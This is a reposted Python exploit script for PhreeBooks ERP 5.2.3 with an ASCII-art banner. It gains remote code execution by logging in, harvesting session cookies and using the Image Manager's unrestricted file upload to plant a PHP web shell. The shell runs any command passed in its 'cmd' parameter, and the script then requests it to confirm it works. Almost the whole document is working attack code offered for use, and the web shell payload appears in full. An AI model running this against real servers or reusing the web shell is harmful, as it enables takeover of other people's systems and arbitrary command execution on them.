Friday, February 5, 2021

PhreeBooks 5.2.3 Remote Code Execution

# Exploit Title: PhreeBooks 5.2.3 - Remote Code Execution
# Date: 22 Jan 2021
# Exploit Author: Kr0ff
# Vendor Homepage: https://www.phreesoft.com/
# Software Link: https://sourceforge.net/projects/phreebooks/
# Version: 5.2.3
# Tested on: Windows Server 2016

#!/usr/bin/env python3

'''
DESCRIPTION:
- PhreeBooks ERP 5.2.3 is vulnerable to remote code execution
due to authenticated unrestricted file upload in the "Image Manager"
section of the application.

VULNERABLE VERSION:
- ver 5.2.3

AUTHOR:
- Kr0ff

Note: This is a rewrite of exploit: https://www.exploit-db.com/exploits/46645

Web shell used as payload: https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985
'''
#https://asciiart.website/index.php?art=animals/

try:
import requests
import argparse
import sys
import re
import random
from termcolor import colored
from time import sleep
except ImportError as e:
print(colored("[ERROR]: ", "red"), f"{e}")

def ascii_art():
example_usage = "python3 exploit.py -t http://10.10.10.120/phreebooks -u [email protected] -p admin"
art = '''

\ /
\ o ^ o /
\ ( ) /
____________(%%%%%%%)____________
( / / )%%%%%%%( \ \ )
(___/___/__/ \__\___\___)
( / /(%%%%%%%)\ \ )
(__/___/ (%%%%%%%) \___\__)
/( )\\
/ (%%%%%) \\
(%%%)
!

| _ \ |_ _ _ ___ ___| |__ ___ ___| |__ ___
| _/ ' \| '_/ -_) -_) '_ \/ _ \/ _ \ / /(_-<
|_| |_||_|_| \___\___|_.__/\___/\___/_\_\/__/
___ ___ ___ ___ ___ ___
| __| _ \ _ \ | _ \/ __| __|
| _|| / _/ | / (__| _|
|___|_|_\_| |_|_\\___|___| v5.2.3
==============================================
'''
print(art)
print(example_usage)
print("\r\n==============================================\r\n")

def exploit(TARGET, USER, PASS):
'''
PHP Reverse Shell
'''
web_shell = """
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>
"""

'''
Perform the login and grab cookies of user
'''
error_msg = "The information you entered cannot be validated, please retry."
url = f"{TARGET}/index.php?&p=bizuno/portal/login"
headers = {"Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Referer": f"{TARGET}/index.php?p=", "Content-Type": "multipart/form-data; boundary=---------------------------211698600840544395022617560470", "Connection": "close"}
login_data=f"-----------------------------211698600840544395022617560470\r\nContent-Disposition: form-data; name=\"UserID\"\r\n\r\n{USER}\r\n-----------------------------211698600840544395022617560470\r\nContent-Disposition: form-data; name=\"UserPW\"\r\n\r\n{PASS}\r\n-----------------------------211698600840544395022617560470\r\nContent-Disposition: form-data; name=\"UserLang\"\r\n\r\nen_US\r\n-----------------------------211698600840544395022617560470--\r\n"

print(colored("[*]","blue"), f"Logging in using account: \"{USER}\"")
r = requests.post(url, headers=headers, data=login_data, verify=False)

if error_msg in r.text:
print(colored("[-]","red"), f"Couldn't log in using account: \"{USER}\"...")
print("Something could be wrong, check everything and try again...")
sys.exit(1)
print(colored("[+]","green"), f"Logged in with account: \"{USER}\"")
else:
print(colored("[+]","green"), f"Logged in with account: \"{USER}\"")

try:
print(colored("[*]","blue"), f"Grabbing cookies...")
get_all_cookies = r.headers['Set-Cookie']
get_needed_cookies = re.split(r'\s', get_all_cookies)[6].replace(';','').replace('bizunoSession=','').strip()
user_cookie = re.split(r'\s', get_all_cookies)[13].replace(';','').replace('bizunoUser=','').strip()
except IndexError:
print(colored("[-]","red"), f"Couldn't grab cookies...")
print("Something could be wrong, check everything and try again...")
sys.exit(1)

'''
Continue with the exploitation part of the exploit
Uploading a file with random name and .php extension,
since "Image Manager" doesn't restrict file types
'''

f_name = ''.join(random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(10)) + ".php"
print(colored("[*]","blue"), f"Trying to upload file \"{f_name}\"")

e_url = f"{TARGET}/index.php?&p=bizuno/image/manager&imgTarget=&imgMgrPath=&imgSearch=&imgAction=upload"
e_cookies = {"bizunoLang": "en_US", "bizunoUser": f"{user_cookie}", "bizunoSession": f"{get_needed_cookies}"}
e_headers = {"Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Referer": f"{TARGET}/index.php?", "Content-Type": "multipart/form-data; boundary=---------------------------211698600840544395022617560470", "Connection": "close"}
e_data= f'-----------------------------211698600840544395022617560470\r\nContent-Disposition: form-data; name="imgSearch"\r\n\r\n\r\n-----------------------------211698600840544395022617560470\r\nContent-Disposition: form-data; name="imgFile"; filename="{f_name}"\r\nContent-Type: binary/octet-stream\r\n\r\n{web_shell}\n\r\n-----------------------------211698600840544395022617560470--\r\n'

u_req = requests.post(e_url, headers=e_headers, cookies=e_cookies, data=e_data, verify=False)
if u_req.status_code == 200:
print(colored("[+]","green"), f"Uploaded file: \"{f_name}\"")
else:
print(colored("[-]","red"), f"Couldn't upload file: \"{f_name}\"")
print("Something could be wrong, check everything and try again...")
sys.exit(1)

'''
Perform the execution of the PHP reverse shell
by accessing the path to it
'''
sreq = requests.get(f"{TARGET}/myFiles/images/{f_name}")
if sreq.status_code == 200:
print(colored("[+]", "green"), f"Webshell is uploaded to: {TARGET}/myFiles/images/{f_name}")
elif sreq.status_code == 404:
print(colored("[-]", "red"), f"Webshell was not uploaded !\r\nCheck your target...")
print("Check if the upload file path is correct in the exploit and in the web application...")
sys.exit(0)
else:
print(colored("[!]", "yellow"), f"Something could be wrong, check everything and try again...\r\n")
sys.exit(1)

'''
Initilize parser for arguments
'''
def parse_argz():
parser = argparse.ArgumentParser(description='PhreeBooks 5.2.3 Remote Code Execution via Authenticated File Upload ')
parser.add_argument("-t", "--target", help="Target http/s:[IP/HOSTNAME]/phreebooks", type=str, required=True)
parser.add_argument("-u", "--user", help="Email to login as", type=str, required=True)
parser.add_argument("-p", "--passwd", help="Password to authenticate with", type=str, required=True)
#args = parser.parse_args(args=None if sys.argv[1:] else ['--help']) #Show help menu if no arguments provided
args = parser.parse_args(args=None)

if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)

TARGET = str(args.target)
USER = str(args.user)
PASS = str(args.passwd)

exploit(TARGET, USER, PASS)

if __name__ == "__main__":
try:
ascii_art()
parse_argz()
except Exception as e:
print(colored("[ERROR]","red"), f"-> {e}")
sys.exit(1)


 

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Thanks for everything Templateism - You should have written the code a little more complicated